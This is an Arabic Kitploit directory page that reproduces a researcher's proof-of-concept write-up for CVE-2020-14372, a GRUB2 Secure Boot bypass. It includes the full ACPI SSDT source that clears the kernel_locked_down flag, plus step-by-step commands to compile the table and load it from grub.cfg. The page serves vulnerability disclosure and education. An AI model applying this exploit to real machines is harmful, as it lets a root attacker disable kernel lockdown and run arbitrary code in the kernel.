Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-14372 — استغلال لإثبات المفهوم (PoC) وشرح تفصيلي للثغرة CVE-2020-14372، يوضح تجاوز Secure Boot عبر ACPI SSDT خبيث لتعطيل kernel lockdown وتنفيذ كود عشوائي. | Kitploit
أدوات/GitHubGitHub/kukrimate/cve-2020-14372
تصعيد الامتيازاتتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubkukrimate/cve-2020-14372

CVE-2020-14372

استغلال لإثبات المفهوم (PoC) وشرح تفصيلي للثغرة CVE-2020-14372، يوضح تجاوز Secure Boot عبر ACPI SSDT خبيث لتعطيل kernel lockdown وتنفيذ كود عشوائي.

عرض المستودع
412منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-14372: تجاوز (ليس تمامًا) Secure Boot بحيلة "بسيطة"

تفاصيل الثغرة

في يومٍ ما، كتبت "help" في وحدة تحكم GRUB2 ورأيت بعض الأوامر "الممتعة" حقًا:

  • read_byte ADDR: قراءة قيمة 8-بت من ADDR
  • write_byte ADDR VAL: كتابة قيمة 8-بت VAL إلى ADDR

اعتقدت فورًا أنني وجدت أكثر ثغرات Secure Boot متعةً، لكن هذه الأوامر تُخرج ما يلي عند تمكين Secure Boot:

root@kitploit:~
error: Secure Boot forbids loading module .../memrw.mod.

بدافع الفضول، وبعد الإقلاع بهذه الطريقة، كتبت الأمر "acpi"، فطبعت رسالة استخدام تخبرني بتوجيهه إلى ملف AML. ومن المعروف جيدًا أن اسمًا آخر لـ ACPI هو "آلية لتشغيل كود تعسفي يوفره البائع في سياق نواتك"، وبما أننا نستطيع تحميل جداول ACPI مع تفعيل Secure Boot فنحن "البائع" الذي يمكنه توفير ذلك الكود.

لكن بما أنه توجد علامة من بايت واحد (kernel_locked_down) في مقطع بيانات النواة المُقلعة تُخبرها ما إذا كانت "مقفلة" أم لا، يمكننا ببساطة استبدال تلك العلامة باستخدام SSDT والسماح للنواة بتحميل وحدات عشوائية.

يحقق SSDT التالي ذلك بإنشاء كائن "بطارية" يُدعى HACK، وتنفيذ الكتابة في دالة _INI لذلك الكائن، والتي تُنفَّذ دائمًا بواسطة النواة:

root@kitploit:~
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

لقد كتبت استغلالًا لإثبات المفهوم (PoC) بلغة Python يساعد في توليد هذا SSDT، لكن استغلال هذا يدويًا ليس بالأمر الصعب أيضًا. المخطط التقريبي هو كما يلي:

  1. عطّل KASLR بإضافة nokaslr إلى سطر أوامر النواة
  2. ابحث عن العنوان الفيزيائي للرمز kernel_locked_down بعد الإقلاع بدون KASLR
  3. أدخل العنوان في SSDT أعلاه، ثم اترجم ذلك SSDT باستخدام iasl
  4. أخيرًا، اطلب من GRUB2 تحميل SSDT

كيفية استخدام PoC

الافتراضات:

  • المهاجم لديه صلاحيات root على نظام التشغيل قيد التشغيل
  • تم إقلاع Linux في وضع UEFI Secure Boot مع GRUB2 الإصدار <=2.02 (بعض إصدارات 2.02 مصححة)، مما يؤدي إلى تفعيل إقفال النواة

عندما تتحقق الافتراضات السابقة، حرّر /etc/default/grub، وأضف nokaslr إلى GRUB_CMDLINE_LINUX_DEFAULT، وشغّل update-grub، ثم أعد التشغيل في النهاية.

بعد إقلاع النواة بدون توزيع عشوائي لتخطيط مساحة العناوين، يمكن استخدام البرنامج النصي genssdt.py لتوليد SSDT "خبيث" سيقوم بتصحيح ذاكرة النواة أثناء التشغيل لتعطيل الإقفال:

root@kitploit:~
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

الآن بعد أن تم إنشاء SSDT، يجب تعديل ملف إعدادات GRUB (الموجود عادة في /boot/grub/grub.cfg) حتى يقوم GRUB بتحميل هذا SSDT (بإضافة ما يلي إلى أعلى هذا الملف):

root@kitploit:~
acpi (hd0,gpt1)/evil_ssdt.aml

استنادًا إلى مكان وجود قسم نظام EFI (حيث وضعنا SSDT أعلاه) يقع على القرص، قد يلزم استبدال (hd0,gpt1) بشيء آخر.

أخيرًا، بعد إعادة التشغيل، يجب أن يكون إقفال النواة (kernel lockdown) معطلاً، مما يمنح root القدرة على تنفيذ كود تعسفي داخل النواة.

تنزيل الأداة